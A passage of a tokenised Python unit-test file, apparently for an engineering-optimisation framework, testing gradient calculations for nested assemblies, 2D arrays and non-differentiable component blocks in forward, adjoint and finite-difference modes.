"\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "1_", "]_", ",_", "5.0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "nest", ".", "x", "'_", ",_", "'", "nest", ".", "stu", "ff", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "nest", ".", "f", "\\u", "xy", "'_", ",_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "adjoint", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "0_", "]_", ",_", "5.0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "1_", "]_", ",_", "0.0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "nest", ".", "x", "'_", ",_", "'", "nest", ".", "stu", "ff", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "nest", ".", "f", "\\u", "xy", "'_", ",_", "'", "nest", ".", "junk", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "adjoint", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "0_", "]_", ",_", "5.0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "1_", "]_", ",_", "0.0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "1_", ",_", "0_", "]_", ",_", "0.0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "1_", ",_", "1_", "]_", ",_", "0.0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "nest", ".", "stu", "ff", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "nest", ".", "junk", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "forward", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "0_", "]_", ",_", "0.0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "top_", "._", "nest_", "._", "missi", "ng", "\\u", "deriv", "\\u", "policy_", "=_", "'", "error", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "nest", ".", "stu", "ff", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "nest", ".", "junk", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "forward", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "case", "\\u", "derivatives", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "nest", "ed", "\\u", "2", "Dar", "ray_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "top_", "=_", "set\\u", "as", "\\u", "top_", "(_", "Asse", "mbly", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "add_", "(_", "'", "nest", "'_", ",_", "Asse", "mbly", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "nest_", "._", "add_", "(_", "'", "comp", "'_", ",_", "Array", "Comp", "2", "D_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "top_", "._", "driver_", "._", "workflow_", "._", "add_", "(_", "[_", "'", "nest", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "nest_", "._", "driver_", "._", "workflow_", "._", "add_", "(_", "[_", "'", "comp", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "nest_", "._", "create", "\\u", "passthrough", "_", "(_", "'", "comp", ".", "x", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "nest_", "._", "create", "\\u", "passthrough", "_", "(_", "'", "comp", ".", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "nest", ".", "x", "'_", ",_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "nest", ".", "y", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "forward", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "diff_", "=_", "J_", "-_", "top_", "._", "nest_", "._", "comp_", "._", "J_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "diff_", "._", "max_", "(_", ")_", ",_", "0.0_", ",_", ".0000", "01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "nest", ".", "x", "'_", ",_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "nest", ".", "y", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "adjoint", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "diff_", "=_", "J_", "-_", "top_", "._", "nest_", "._", "comp_", "._", "J_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "diff_", "._", "max_", "(_", ")_", ",_", "0.0_", ",_", ".0000", "01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "nest", ".", "x", "[", "0", ",", " ", "0", "]'_", ",_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "nest", ".", "y", "[", "0", ",", " ", "0", "]'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "forward", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "diff_", "=_", "J_", "-_", "top_", "._", "nest_", "._", "comp_", "._", "J_", "[_", "0_", ",_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "diff_", "._", "max_", "(_", ")_", ",_", "0.0_", ",_", ".0000", "01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "nest", ".", "x", "[", "0", ",", " ", "0", "]'_", ",_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "nest", ".", "y", "[", "0", ",", " ", "0", "]'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "adjoint", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "diff_", "=_", "J_", "-_", "top_", "._", "nest_", "._", "comp_", "._", "J_", "[_", "0_", ",_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "diff_", "._", "max_", "(_", ")_", ",_", "0.0_", ",_", ".0000", "01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "nest", ".", "x", "[", "0", ",", " ", "1", "]'_", ",_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "nest", ".", "y", "[", "1", ",", " ", "0", "]'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "forward", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "diff_", "=_", "J_", "-_", "top_", "._", "nest_", "._", "comp_", "._", "J_", "[_", "1_", ",_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "diff_", "._", "max_", "(_", ")_", ",_", "0.0_", ",_", ".0000", "01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "nest", ".", "x", "[", "0", ",", " ", "1", "]'_", ",_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "nest", ".", "y", "[", "1", ",", " ", "0", "]'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "adjoint", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "diff_", "=_", "J_", "-_", "top_", "._", "nest_", "._", "comp_", "._", "J_", "[_", "1_", ",_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "diff_", "._", "max_", "(_", ")_", ",_", "0.0_", ",_", ".0000", "01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "nest", ".", "x", "[", "0", ",", " ", "1", "]'_", ",_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "nest", ".", "y", "[", "1", ",", " ", "0", "]'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "fd", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "diff_", "=_", "J_", "-_", "top_", "._", "nest_", "._", "comp_", "._", "J_", "[_", "1_", ",_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "diff_", "._", "max_", "(_", ")_", ",_", "0.0_", ",_", ".0000", "01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "nest", ".", "x", "[", "0", ",", " ", "-1", "]'_", ",_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "nest", ".", "y", "[-", "1", ",", " ", "0", "]'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "forward", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "diff_", "=_", "J_", "-_", "top_", "._", "nest_", "._", "comp_", "._", "J_", "[_", "1_", ",_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "diff_", "._", "max_", "(_", ")_", ",_", "0.0_", ",_", ".0000", "01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "nest", ".", "x", "[", "0", ",", " ", "-1", "]'_", ",_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "nest", ".", "y", "[-", "1", ",", " ", "0", "]'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "adjoint", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "diff_", "=_", "J_", "-_", "top_", "._", "nest_", "._", "comp_", "._", "J_", "[_", "1_", ",_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "diff_", "._", "max_", "(_", ")_", ",_", "0.0_", ",_", ".0000", "01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "nest", ".", "x", "[", "0", ",", " ", "-1", "]'_", ",_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "nest", ".", "y", "[-", "1", ",", " ", "0", "]'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "fd", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "diff_", "=_", "J_", "-_", "top_", "._", "nest_", "._", "comp_", "._", "J_", "[_", "1_", ",_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "diff_", "._", "max_", "(_", ")_", ",_", "0.0_", ",_", ".0000", "01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Js", "ub_", "=_", "top_", "._", "nest_", "._", "comp_", "._", "J_", "[_", "2_", ":_", "3_", ",_", "2_", ":_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "nest", ".", "x", "[", "1", "][", ":]", "'_", ",_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "nest", ".", "y", "[", "1", "][", ":]", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "forward", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "diff_", "=_", "J_", "-_", "Js", "ub_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "nest", ".", "x", "[", "1", "][", ":]", "'_", ",_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "nest", ".", "y", "[", "1", "][", ":]", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "adjoint", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "diff_", "=_", "J_", "-_", "Js", "ub_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "top_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "nest", ".", "x", "[", "1", "][", ":]", "'_", ",_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "nest", ".", "y", "[", "1", "][", ":]", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "fd", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "diff_", "=_", "J_", "-_", "Js", "ub_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "case", "\\u", "derivatives", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "nond", "iff", "eren", "tia", "ble", "\\u", "blocks_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "top_", "=_", "set\\u", "as", "\\u", "top_", "(_", "Asse", "mbly", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "exp", "1_", "=_", "[_", "'", "y1", " ", "=", " ", "2.0", "*", "x1", "**", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "y2", " ", "=", " ", "3.0", "*", "x1", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "deriv", "1_", "=_", "[_", "'", "dy", "1", "\\u", "dx", "1", " ", "=", " ", "4.0", "*", "x1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "dy", "2", "\\u", "dx", "1", " ", "=", " ", "3.0", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "exp", "2_", "=_", "[_", "'", "y1", " ", "=", " ", "0.", "5", "*", "x1", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "deriv", "2_", "=_", "[_", "'", "dy", "1", "\\u", "dx", "1", " ", "=", " ", "0.", "5", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "exp", "3_", "=_", "[_", "'", "y1", " ", "=", " ", "3.5", "*", "x1", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "deriv", "3_", "=_", "[_", "'", "dy", "1", "\\u", "dx", "1", " ", "=", " ", "3.5", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "exp", "4_", "=_", "[_", "'", "y1", " ", "=", " ", "x1", " ", "+", " ", "2.0", "*", "x2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "y2", " ", "=", " ", "3.0", "*", "x1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "y", "3", " ", "=", " ", "x1", "*", "x2", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "deriv", "4_", "=_", "[_", "'", "dy", "1", "\\u", "dx", "1", " ", "=", " ", "1.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "dy", "1", "\\u", "dx", "2", " ", "=", " ", "2.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "dy", "2", "\\u", "dx", "1", " ", "=", " ", "3.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "dy", "2", "\\u", "dx", "2", " ", "=", " ", "0.", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "dy", "3", "\\u", "dx", "1", " ", "=", " ", "x2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "dy", "3", "\\u", "dx", "2", " ", "=", " ", "x1", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "exp", "5_", "=_", "[_", "'", "y1", " ", "=", " ", "x1", " ", "+", " ", "3.0", "*", "x2", " ", "+", " ", "2.0", "*", "x3", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "deriv", "5_", "=_", "[_", "'", "dy", "1", "\\u", "dx", "1", " ", "=", " ", "1.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "dy", "1", "\\u", "dx", "2", " ", "=", " ", "3.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "dy", "1", "\\u", "dx", "3", " ", "=", " ", "2.0", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "top_", "._", "add_", "(_", "'", "comp", "1", "'_", ",_", "Exe", "c", "Comp_", "(_", "exp", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "add_", "(_", "'", "comp", "2", "'_", ",_", "Exe", "c", "Comp_", "(_", "exp", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "add_", "(_", "'", "comp", "3", "'_", ",_", "Exe", "c", "Comp_", "(_", "exp", "3_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "add_", "(_", "'", "comp", "4", "'_", ",_", "Exe", "c", "Comp", "With", "Derivati", "ves_", "(_", "exp", "4_", ",_", "deriv", "4_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "add_", "(_", "'", "comp", "5", "'_", ",_", "Exe", "c", "Comp_", "(_", "exp", "5_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "top_", "._", "driver_", "._", "workflow_", "._", "add_", "(_", "[_", "'", "comp", "1", "'_", ",_", "'", "comp", "2", "'_", ",_", "'", "comp", "3", "'_", ",_", "'", "comp", "4", "'_", ",_", "'", "comp", "5", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "top_", "._", "connect_", "(_", "'", "comp", "1", ".", "y1", "'_", ",_", "'", "comp", "2", ".", "x1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "connect_", "(_", "'", "comp", "1", ".", "y2", "'_", ",_", "'", "comp", "3", ".", "x1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "connect_", "(_", "'", "comp", "2", ".", "y1", "'_", ",_", "'", "comp", "4", ".", "x1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "connect_", "(_", "'", "comp", "3", ".", "y1", "'_", ",_", "'", "comp", "4", ".", "x2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "connect_", "(_", "'", "comp", "4", ".", "y1", "'_", ",_", "'", "comp", "5", ".", "x1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "connect_", "(_", "'", "comp", "4", ".", "y2", "'_", ",_", "'", "comp", "5", ".", "x2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "connect_", "(_", "'", "comp", "4", ".", "y", "3", "'_", ",_", "'", "comp", "5", ".", "x3", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Case", " ", "1", " ", "-", " ", "different", "iable", " ", "(", "comp", "4", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "top_", "._", "comp", "1_", "._", "x1_", "=_", "2.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "self_", "._", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "comp", "1", ".", "x1", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "comp", "5", ".", "y1", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "forward", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "0_", "]_", ",_", "313", ".0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "self_", "._", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "comp", "1", ".", "x1", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "comp", "5", ".", "y1", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "adjoint", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "0_", "]_", ",_", "313", ".0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "comp", "\\u", "list_", "=_", "simple", "\\u", "node", "\\u", "iter_", "(_", "self_", "._", "top_", "._", "driver_", "._", "workflow_", "._", "\\u", "system_", "._", "subsystem", "s_", "(_", ")_", "[_", "1_", "]_", "._", "\\u", "nodes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "comp", "\\u", "list_", ")_", "==_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "comp", "1", "'_", "in_", "comp", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "comp", "2", "'_", "in_", "comp", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "comp", "3", "'_", "in_", "comp", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "comp", "\\u", "list_", "=_", "simple", "\\u", "node", "\\u", "iter_", "(_", "self_", "._", "top_", "._", "driver_", "._", "workflow_", "._", "\\u", "system_", "._", "subsystem", "s_", "(_", ")_", "[_", "3_", "]_", "._", "\\u", "nodes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "comp", "\\u", "list_", ")_", "==_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "comp", "5", "'_", "in_", "comp", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Case", " ", "2", " ", "-", " ", "different", "iable", " ", "(", "none", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "top_", "._", "replace_", "(_", "'", "comp", "4", "'_", ",_", "Exe", "c", "Comp_", "(_", "exp", "4_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "top_", "._", "comp", "1_", "._", "x1_", "=_", "2.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "J_", "=_", "self_", "._", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "comp", "1", ".", "x1", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", 